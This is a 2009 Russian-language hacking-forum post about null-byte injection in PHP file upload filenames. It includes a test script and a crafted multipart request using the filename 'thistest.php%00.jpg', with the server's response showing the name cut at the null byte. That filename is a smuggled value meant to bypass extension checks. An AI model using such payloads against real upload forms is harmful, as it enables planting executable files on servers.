
24.11.2009, 01:13
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
С нами:
9521666
Репутация:
1695
|
|
Сообщение от Scipio
например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.
Пример:
PHP без Suhosin, magic_quotes не имело значения
Скрипт up.php:
PHP код:
<?php
if (!empty($_FILES["filename"]["tmp_name"])) {
echo "Имя файла: ".$_FILES["filename"]["name"]."<br>";
}
?>
Запроc:
POST /up.php HTTP/1.1
Host: ads
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------20312184921287927343357872452
Content-Length: 248
-----------------------------20312184921287927343357872452
Content-Disposition: form-data; name="filename"; filename="thistest.php�.jpg"
Content-Type: application/octet-stream
test
-----------------------------20312184921287927343357872452--
Ответ:
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2009 21:03:10 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.1
Vary: Accept-Encoding
Content-Length: 35
Connection: close
Content-Type: text/html; charset=cp2151
Имя файла: thistest.php
Как видно имя файла без null byte'a
__________________
Cервер cs 1.6
cs.antichat.net:27015
Последний раз редактировалось (Dm); 24.11.2009 в 01:31..
|
|
|